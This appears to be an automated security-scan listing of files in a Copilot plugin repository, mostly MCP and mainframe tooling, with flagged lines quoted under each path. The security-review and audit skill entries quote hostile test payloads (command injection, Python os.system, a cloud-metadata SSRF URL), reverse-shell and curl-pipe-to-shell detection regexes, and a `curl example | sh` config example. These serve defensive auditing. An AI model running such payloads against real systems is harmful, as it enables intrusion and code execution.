- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/modernization-workspace-kit/scripts/install_workspace_kit.py
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-traceability/scripts/test_validate_traceability.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-traceability/scripts/validate_traceability.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/mainframe-natural-adabas/skills/modernization-workspace-kit/scripts/install_workspace_kit.py
harness/github-copilot/plugins/mainframe-natural-adabas/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/sifap_loop_extract.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/sifap_loop_graph.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/test_sifap_loop_extract.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/test_sifap_loop_graph.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-requirements-traceability/scripts/test_validate_traceability.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-requirements-traceability/scripts/validate_traceability.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/SKILL.md
- Network accessline 161
- [ModelContextProtocol NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol) - Network accessline 162
- [ModelContextProtocol API reference](https://csharp.sdk.modelcontextprotocol.io/api/ModelContextProtocol.html) - Network accessline 163
- [EverythingServer sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/EverythingServer)
harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/client.md
- Access to secretsline 24
[Credential-related source omitted] - Network accessline 39
var transport = new HttpClientTransport(new HttpClientTransportOptions { Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 40
{ Endpoint = new Uri("https://my-server.example.com/mcp"), TransportMode = HttpTransportMode.StreamableHttp, - Network accessline 41
Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 182
var transport = new HttpClientTransport(new HttpClientTransportOptions { Endpoint = new Uri("https://my-server.example.com/mcp"), - Network accessline 183
{ Endpoint = new Uri("https://my-server.example.com/mcp"), KnownSessionId = previousSessionId - Network accessline 184
Endpoint = new Uri("https://my-server.example.com/mcp"),
harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/elicitation.md
- Network accessline 7
> **2026-07-28 changes the rules on HTTP.** The current revision removes HTTP sessions and the server→client `elicitation/create` request, so **`ElicitAsync` cannot be used on 2026-07-28 Streamable HTTP at all** — a server with `Stateless =
harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/mcp-apps.md
- Network accessline 3
[MCP Apps](https://modelcontextprotocol.io/extensions/apps/overview) is the official extension that lets a tool return an **interactive UI** rendered in a sandboxed iframe inside the host (Claude, Claude Desktop, VS Code Copilot, Goose, Pos - Network accessline 5
> **Important:** SDK 2.x ships a dedicated extension package, **`ModelContextProtocol.Extensions.Apps`**, with typed MCP Apps support: register with `.WithMcpApps()` and annotate tools with `[McpAppUi(ResourceUri = "ui://...")]`. It replace - Network accessline 15
The full protocol spec is at [`@modelcontextprotocol/ext-apps`](https://github.com/modelcontextprotocol/ext-apps). - Network accessline 95
["resourceUri"] = "ui://charts/interactive" // Optionally: // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, - Network accessline 96
// Optionally: // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, // ["permissions"] = new JsonArray("clipboard-write") - Network accessline 97
// ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" }, - Network accessline 148
<div id="root">Loading…</div> <script type="module"> import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1"; - Network accessline 150
import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1"; - Network accessline 174
**Tip:** for non-trivial UIs, build with Vite (React/Vue/Svelte/Solid — any of the [official starter templates](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples)) and have the build emit a single inlined HTML you embed as - Network accessline 209
For pure-UI iteration, [MCP Inspector](https://github.com/modelcontextprotocol/inspector) shows resource contents but does not fully render apps; for that, point Claude Desktop at your dev server.
harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/packages.md
- Network accessline 5
All packages live under the [`ModelContextProtocol` NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol). The official C# SDK repo is [`modelcontextprotocol/csharp-sdk`](https://github.com/modelcontextprotocol/csharp-sdk), ma - Network accessline 24
**Upgrading 1.x → 2.0 (highlights, not exhaustive):** stable v1.x APIs keep working; the deprecated capabilities (roots, sampling, logging) are now `[Obsolete]` with `MCP9005` warnings, experimental APIs moved (the 1.4.x Tasks surface → `Mo
harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/testing.md
- Network accessline 7
[MCP Inspector](https://github.com/modelcontextprotocol/inspector) is the go-to tool for trying out a server by hand. It launches your server, connects via STDIO or HTTP, and gives you a UI to list/call tools, view resources, fire elicitati - Network accessline 25
Start the server normally (`dotnet run`), then in Inspector pick "Streamable HTTP" and enter the URL (e.g. `http://localhost:3001`). - Network accessline 166
- **"LLM keeps misusing the tool":** open Inspector and look at the schema/description as the LLM sees it. Most "the model is dumb" issues are actually missing `[Description]`. - **"Sampling/elicitation throws 'method not supported'":** the - Network accessline 168
- **"HTTP returns 404 for /":** check `app.MapMcp()` is called *and* you're hitting the right path. `MapMcp("/mcp")` means the URL is `http://host/mcp`, not `http://host/`.
harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/transport-http.md
- Network accessline 44
app.Run("http://localhost:3001"); - Network accessline 78
Match this on the client side (`Endpoint = new Uri("https://host/mcp/v1")`). - Network accessline 103
Inside a tool, you can also inject `IHttpContextAccessor` if `AddHttpContextAccessor()` is registered. See the [`AspNetCoreMcpPerSessionTools` sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/AspNetCoreMcpPerSess - Network accessline 123
For OAuth flows where the *MCP server* is the resource server, follow the [MCP authorization spec](https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization). The [`ProtectedMcpServer` sample](https://github.com/modelcont - Network accessline 142
builder.Services.AddCors(o => o.AddDefaultPolicy(p => p.WithOrigins("https://my-host.example.com") - Network accessline 143
p.WithOrigins("https://my-host.example.com")
harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/transport-stdio.md
harness/github-copilot/plugins/mcp-development/skills/mcp-builder/LICENSE.txt
harness/github-copilot/plugins/mcp-development/skills/mcp-builder/SKILL.md
- Network accessline 47
Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml` - Network accessline 49
Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`). - Network accessline 66
**For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 67
- **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 70
**For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 71
- **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 208
### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 209
- **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 217
### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 218
- **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 219
- **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
harness/github-copilot/plugins/mcp-development/skills/mcp-builder/reference/evaluation.md
- Access to secretsline 398
[Credential-related source omitted] - Access to secretsline 440
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Network accessline 454
python scripts/evaluation.py \ -t sse \ -u https://example.com/mcp \ - Network accessline 455
[Credential-related source omitted] - Network accessline 456
-u https://example.com/mcp \ - Network accessline 467
python scripts/evaluation.py \ -t http \ -u https://example.com/mcp \ - Network accessline 468
[Credential-related source omitted] - Network accessline 469
-u https://example.com/mcp \ - Access to secretsline 557
[Credential-related source omitted]
harness/github-copilot/plugins/mcp-development/skills/mcp-builder/reference/node_mcp_server.md
- Dangerous shell operationline 541
"clean": "rm -rf dist" - Network accessline 600
// Constants const API_BASE_URL = "https://api.example.com/v1"; - Network accessline 601
const API_BASE_URL = "https://api.example.com/v1"; - Access to secretsline 707
[Credential-related source omitted] - Access to secretsline 708
[Credential-related source omitted] - Access to secretsline 719
[Credential-related source omitted] - Access to secretsline 720
[Credential-related source omitted] - Network accessline 737
const port = parseInt(process.env.PORT || '3000'); app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); - Network accessline 738
app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); }); - Network accessline 739
console.error(`MCP server running on http://localhost:${port}/mcp`);
harness/github-copilot/plugins/mcp-development/skills/mcp-builder/reference/python_mcp_server.md
- Network accessline 42
**For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 43
`https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 233
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 234
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 235
async with httpx.AsyncClient() as client: - Network accessline 251
# Good: Async network request async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: - Network accessline 252
async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: response = await client.get(f"{API_URL}/resource/{resource_id}") - Network accessline 253
async with httpx.AsyncClient() as client: - Network accessline 258
# Bad: Synchronous request def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 259
def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks return response.json() - Network accessline 260
response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 352
# Constants API_BASE_URL = "https://api.example.com/v1" - Network accessline 353
API_BASE_URL = "https://api.example.com/v1" - Network accessline 382
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 383
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 384
async with httpx.AsyncClient() as client: - Access to secretsline 511
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted]
harness/github-copilot/plugins/mcp-development/skills/mcp-builder/scripts/connections.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/mcp-development/skills/mcp-builder/scripts/evaluation.py
harness/github-copilot/plugins/mcp-development/skills/mcp-implementation-security-review/SKILL.md
- Network accessline 104
| Vector | Dangerous code | Safe alternative | Test payload | CWE | | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `e - Network accessline 105
| --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", us - Dangerous shell operationline 106
| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm - Network accessline 106
| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm - Dangerous shell operationline 107
| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist. | `__import__('os').system('whoami')`, `require('child_process').exec(' - Network accessline 110
| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only. | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49`. | CWE- - Network accessline 112
| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending. | `http://169.254.169.254/latest/meta-data/`, `http - Network accessline 195
- [MCP specification 2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26) - Network accessline 196
- [MCP specification 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)
harness/github-copilot/plugins/mcp-development/skills/mcp-security-audit/SKILL.md
- Network accessline 67
(r'(?i)bash\s+-c\s', "bash -c execution"), (r'(?i)sh\s+-c\s', "sh -c execution"), (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 68
(r'(?i)sh\s+-c\s', "sh -c execution"), (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"), - Dangerous shell operationline 69
(r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 69
(r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 70
(r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"), - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Network accessline 149
[Credential-related source omitted] - Access to secretsline 150
[Credential-related source omitted] - Dangerous shell operationline 151
| `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` | - Network accessline 151
| `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` | - Access to secretsline 177
[Credential-related source omitted] - Network accessline 185
- [MCP Specification](https://modelcontextprotocol.io/) - Network accessline 186
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 187
- [OWASP ASI-02: Insecure Tool Use](https://genai.owasp.org/)
harness/github-copilot/plugins/mcp-development/skills/webmcpify/SKILL.md
- Network accessline 6
license: MIT metadata: source: "https://github.com/TueJon/webmcpify" - Network accessline 7
metadata: source: "https://github.com/TueJon/webmcpify" --- - Network accessline 8
source: "https://github.com/TueJon/webmcpify" - Network accessline 36
- WebMCP is an evolving origin-trial API from the W3C Web Machine Learning Community Group: https://webmachinelearning.github.io/webmcp/ - Network accessline 80
"typescript": true, "entry": "src/main.tsx", "baseUrl": "http://localhost:5173", - Network accessline 81
"entry": "src/main.tsx", "baseUrl": "http://localhost:5173", "startCommand": "npm run dev", - Network accessline 82
"baseUrl": "http://localhost:5173", - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted] - Network accessline 203
- [WebMCP draft](https://webmachinelearning.github.io/webmcp/) - Network accessline 204
- [webmcpify source](https://github.com/TueJon/webmcpify)
harness/github-copilot/plugins/mcp-development/skills/webmcpify/references/heal.md
- Network accessline 51
if (process.env.WEBMCP_LIVE_MUTATIONS === '1') { await page.route('**/api/contact', async (route) => { const response = await context.request.fetch(route.request(), { - Network accessline 52
await page.route('**/api/contact', async (route) => { const response = await context.request.fetch(route.request(), { headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin - Network accessline 53
const response = await context.request.fetch(route.request(), { - Network accessline 54
headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin
harness/github-copilot/plugins/mcp-development/skills/webmcpify/references/inventory.md
- Instruction override signalline 45
*Initiation tools only navigate/open the flow — the human completes it. They are classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools - Instruction override signalline 46
classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools. `readOnlyHint: true` is reserved for genuinely pure data reads. - Instruction override signalline 47
they change UI state, and agents skip confirmations for hinted-read-only tools.
harness/github-copilot/plugins/mcp-development/skills/webmcpify/references/runtime.md
- Network accessline 27
| `isWebMCPAvailable()` | Feature detection — the app must work identically without WebMCP | | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: - Network accessline 28
| `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: Promise<boolean>` (true = all registrations committed; false = no WebMCP / duplicate key / fa - Network accessline 29
| `dispatchAndWait(event, detail?, timeoutMs?)` | Bridges `execute()` to the app's own event/state flow. The dispatched detail carries `requestId` plus `signal` — an AbortSignal aborted on timeout; pass it to `fetch()` and skip state commit
harness/github-copilot/plugins/mcp-development/skills/webmcpify/references/security.md
- Instruction override signalline 48
consent decisions from it). - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip confirmation based on it; mislabeling is the worst single mistake). - Instruction override signalline 49
- [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip confirmation based on it; mislabeling is the worst single mistake). - [ ] `untrustedContentHint: true` on every tool returning user-generated or
harness/github-copilot/plugins/mcp-development/skills/webmcpify/references/verify.md
- Network accessline 100
}); EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ - Network accessline 101
EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ NODE_PATH=/tmp/webmcpify-harness/node_modules npx playwright test - Network accessline 102
WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ - Network accessline 112
**Alternative:** Puppeteer ships a first-class experimental WebMCP API (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses - Network accessline 113
(https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses
harness/github-copilot/plugins/mcp-development/skills/webmcpify/templates/webmcp-jsx.d.ts
- Network accessline 1
/** * React JSX typings for the declarative WebMCP attributes — vendored from * https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* React JSX typings for the declarative WebMCP attributes — vendored from * https://github.com/TueJon/webmcpify * - Network accessline 3
* https://github.com/TueJon/webmcpify - Network accessline 25
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 26
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 27
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
harness/github-copilot/plugins/mcp-development/skills/webmcpify/templates/webmcp.d.ts
- Network accessline 1
/** * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 27
* * registerTool/ontoolchange/annotations/getTools follow the CG draft * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only - Network accessline 28
* registerTool/ontoolchange/annotations/getTools follow the CG draft * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only * extension not yet in the draft. This API is in flux — re-check against the - Network accessline 29
* (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only - Network accessline 30
* extension not yet in the draft. This API is in flux — re-check against the * draft and https://developer.chrome.com/docs/ai/webmcp when updating. * - Network accessline 31
* draft and https://developer.chrome.com/docs/ai/webmcp when updating.
harness/github-copilot/plugins/mcp-development/skills/webmcpify/templates/webmcp.spec.ts
- Network accessline 1
/** * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify verification template — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 42
const BASE_URL = process.env.WEBMCP_BASE_URL ?? 'http://localhost:5173';
harness/github-copilot/plugins/mcp-development/skills/webmcpify/templates/webmcpify.js
- Network accessline 1
/** * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 139
* Bridge execute() to the app's own event/state flow. The dispatched detail * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the - Network accessline 140
* carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the * completion dispatch once aborted. Resolves only after the component confir - Network accessline 141
* on timeout; handlers should pass it to fetch() and skip state commits and the
harness/github-copilot/plugins/mcp-development/skills/webmcpify/templates/webmcpify.ts
- Network accessline 1
/** * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify runtime — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 165
* Bridge execute() to the app's own event/state flow. The dispatched detail * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the - Network accessline 166
* carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the * completion dispatch once aborted. Resolves only after the component confir - Network accessline 167
* on timeout; handlers should pass it to fetch() and skip state commits and the
harness/github-copilot/plugins/mcp-m365-copilot/skills/mcp-create-adaptive-cards/SKILL.md
- Network accessline 127
{ "type": "AdaptiveCard", "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 128
"type": "AdaptiveCard", "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 129
"$schema": "https://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 162
- [Adaptive Card Designer](https://adaptivecards.microsoft.com/designer) - Network accessline 163
- [Adaptive Card Schema](https://adaptivecards.io/schemas/adaptive-card.json) - Network accessline 164
- [Template Language](https://learn.microsoft.com/en-us/adaptive-cards/templating/language) - Network accessline 165
- [JSONPath](https://www.rfc-editor.org/rfc/rfc9535)
harness/github-copilot/plugins/mcp-m365-copilot/skills/mcp-create-adaptive-cards/references/card-reference-examples.md
- Network accessline 25
"static_template": { "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 26
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 27
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 125
} ], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 126
], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" }, - Network accessline 127
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 156
} ], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 157
], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" } - Network accessline 158
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 221
{ "type": "Image", "url": "https://example.com/image.png", - Network accessline 222
"type": "Image", "url": "https://example.com/image.png", "size": "medium", // auto, stretch, small, medium, large - Network accessline 223
"url": "https://example.com/image.png", - Network accessline 265
"type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/item/${id}" - Network accessline 266
"title": "View Details", "url": "https://example.com/item/${id}" } - Network accessline 267
"url": "https://example.com/item/${id}" - Network accessline 288
"static_template": { "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 289
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 290
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
harness/github-copilot/plugins/mcp-m365-copilot/skills/mcp-create-declarative-agent/SKILL.md
- Network accessline 21
- Use Microsoft 365 Agents Toolkit project conventions and generated `appPackage/` files. - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilo - Network accessline 22
- The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Store secrets in `.env.local` or `.env.dev`; n - Network accessline 23
- Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Network accessline 49
{"$schema":"https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json","manifestVersion":"devPreview","version":"1.0.0","id":"...","developer":{"name":"...","websiteUrl":"...","privacyUrl":"...","termsOfUseUr - Network accessline 55
{"$schema":"https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json","version":"v1.0","name":"Agent Name","description":"Agent description","instructions":"You are an assistant that helps with [specific domain]. Use the avail - Network accessline 61
{"schema_version":"v2.1","name_for_human":"Service Name","description_for_human":"Description for users","description_for_model":"Description for AI model","contact_email":"support@company.com","namespace":"serviceName","capabilities":{"con - Network accessline 67
{"serverUrl":"https://{api-host}/mcp/","pluginFilePath":"appPackage/ai-plugin.json"} - Network accessline 85
| Need | Configuration | | --- | --- | | OAuth 2.0 static registration | Use `"type": "OAuthPluginVault"`, `"reference_id": "${{OAUTH_REFERENCE_ID}}"`, `"authorization_url": "https://{auth-host}/authorize"`, `"client_id": "${{CLIENT_ID}}"`, - Network accessline 86
[Credential-related source omitted] - Network accessline 87
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted] - Network accessline 94
| Server | URL | Tools | Auth | | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | - Network accessline 95
